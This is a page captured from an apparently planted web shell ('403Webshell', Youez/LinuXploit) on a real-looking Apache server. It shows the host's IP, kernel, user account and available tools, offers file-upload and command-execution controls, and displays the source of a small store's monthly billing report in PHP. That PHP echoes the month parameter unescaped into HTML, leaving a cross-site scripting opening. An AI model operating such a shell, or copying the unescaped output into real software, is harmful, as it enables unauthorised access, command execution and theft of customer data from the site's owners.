403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/thelittlebigshow/self-hosted/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/thelittlebigshow/self-hosted/monthly_summary.php
<?php include 'protect.php'; ?>
<?php
include 'db.php';
include 'store_settings.php';
require_once __DIR__ . '/brand_header.php';

$month = $_GET['month'] ?? date('Y-m');
$sort = $_GET['sort'] ?? 'name';
$tax_rate = getStoreTaxRate($conn);

$customers = $conn->query("SELECT id, first_name, last_name FROM customers ORDER BY last_name, first_name");

$summary = [];

foreach ($customers as $cust) {
    $id = $cust['id'];
    $first_name = $cust['first_name'];
    $last_name = $cust['last_name'];
    $name = $first_name . ' ' . $last_name;

    $item_total = $tax_total = 0;

    if ($month === date('Y-m')) {
        $stmt = $conn->prepare("SELECT quantity, price, taxable FROM transactions WHERE customer_id = ?");
        $stmt->bind_param("i", $id);
    } else {
        $stmt = $conn->prepare("SELECT quantity, price, taxable FROM archived_transactions WHERE customer_id = ? AND DATE_FORMAT(archived_on, '%Y-%m') = ?");
        $stmt->bind_param("is", $id, $month);
    }

    $stmt->execute();
    $result = $stmt->get_result();

    while ($row = $result->fetch_assoc()) {
        $line = $row['quantity'] * $row['price'];
        $item_total += $line;
        if ($row['taxable']) {
            $tax_total += $line * $tax_rate;
        }
    }

    if ($item_total > 0 || $tax_total > 0) {
        $summary[] = [
            'id' => $id,
            'first_name' => $first_name,
            'last_name' => $last_name,
            'name' => $name,
            'item_total' => $item_total,
            'tax_total' => $tax_total,
            'total_with_tax' => $item_total + $tax_total
        ];
    }
}

usort($summary, function($a, $b) use ($sort) {
    switch ($sort) {
        case 'total':
            return $b['total_with_tax'] <=> $a['total_with_tax'];
        case 'tax':
            return $b['tax_total'] <=> $a['tax_total'];
        case 'item':
            return $b['item_total'] <=> $a['item_total'];
        case 'name':
        default:
            return strcmp($a['last_name'], $b['last_name']);
    }
});
?>

<!DOCTYPE html>
<html>
<head>
    <title>Monthly Summary</title>
    <style>
        body { font-family: Arial, sans-serif; background: #f4f4f4; padding: 30px; }
        .container { max-width: 1000px; margin: auto; background: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
        h2 { margin-bottom: 20px; }
        table { width: 100%; border-collapse: collapse; }
        th, td { padding: 10px; text-align: left; border-bottom: 1px solid #ddd; }
        th { background-color: #f0f0f0; }
        select, button { padding: 6px 12px; margin-right: 10px; }
        .tools { margin-bottom: 20px; }
        a { color: #0066cc; }
        a:hover { text-decoration: underline; }
    </style>
    <?php echo appBrandStyles(); ?>
</head>
<body>
<div class="container">
    <?php renderAppBrandHeader(); ?>
    <h2>Monthly Summary - <?= htmlspecialchars(date('F Y', strtotime($month))) ?></h2>

    <form method="get" class="tools">
        <input type="month" name="month" value="<?= $month ?>">
        <label>Sort by:</label>
        <select name="sort">
            <option value="name" <?= $sort === 'name' ? 'selected' : '' ?>>Last Name</option>
            <option value="item" <?= $sort === 'item' ? 'selected' : '' ?>>Item Total</option>
            <option value="tax" <?= $sort === 'tax' ? 'selected' : '' ?>>Tax Total</option>
            <option value="total" <?= $sort === 'total' ? 'selected' : '' ?>>Total w/ Tax</option>
        </select>
        <button type="submit">Update</button>
    </form>

    <table>
        <tr>
            <th>Customer</th>
            <th>Item Total</th>
            <th>Tax</th>
            <th>Total w/ Tax</th>
            <th>PDF</th>
        </tr>
        <?php foreach ($summary as $s): ?>
        <tr>
            <td><?= htmlspecialchars($s['name']) ?></td>
            <td>$<?= number_format($s['item_total'], 2) ?></td>
            <td>$<?= number_format($s['tax_total'], 2) ?></td>
            <td><strong>$<?= number_format($s['total_with_tax'], 2) ?></strong></td>
            <td><a href="print_statement.php?customer_id=<?= $s['id'] ?>&month=<?= $month ?>">Download PDF</a></td>
        </tr>
        <?php endforeach; ?>
    </table>

    <p style="margin-top: 20px;"><a href="index.php">&larr; Back to Dashboard</a></p>
</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit